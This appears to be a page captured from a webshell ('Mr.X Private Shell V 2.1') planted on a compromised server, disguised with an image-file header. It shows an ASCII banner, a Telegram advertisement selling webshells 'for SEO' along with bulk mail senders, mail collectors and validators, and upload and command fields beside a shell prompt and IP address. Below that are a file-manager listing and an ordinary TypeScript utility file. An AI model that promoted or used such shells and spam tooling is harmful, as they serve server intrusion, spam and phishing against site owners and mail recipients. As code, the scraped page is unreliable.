����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eliteafr@216.73.216.41: ~ $
export const emptyElement = (el: HTMLElement) => {
	while (el.firstChild) {
		el.removeChild(el.firstChild);
	}
};

export const getClosest = (
	el: HTMLElement,
	selector: string,
	depth?: number
): HTMLElement | undefined => {
	if (el.matches(selector)) {
		return el;
	}

	if (el.tagName === "BODY" || el.tagName === "HTML") {
		return undefined;
	}

	let closest = undefined;
	depth = depth ? depth : 20;

	for (let i = 0; i < depth; i++) {
		const parentNode = el.parentNode as HTMLElement;

		if (
			!parentNode ||
			parentNode.tagName === "BODY" ||
			parentNode.tagName === "HTML"
		) {
			break;
		}

		if (parentNode.matches(selector)) {
			return parentNode;
		}

		el = parentNode;
	}

	return closest;
};

export const startLoading = (button: HTMLButtonElement | HTMLElement) => {
	button.classList.add("is-loading");
};

export const stopLoading = (button: HTMLButtonElement | HTMLElement) => {
	button.classList.remove("is-loading");
};

Filemanager

Name Type Size Permission Actions
.htaccess File 127 B 0444
Notice.php File 3.69 KB 0644
settings.ts File 1.72 KB 0644
utils.ts File 954 B 0644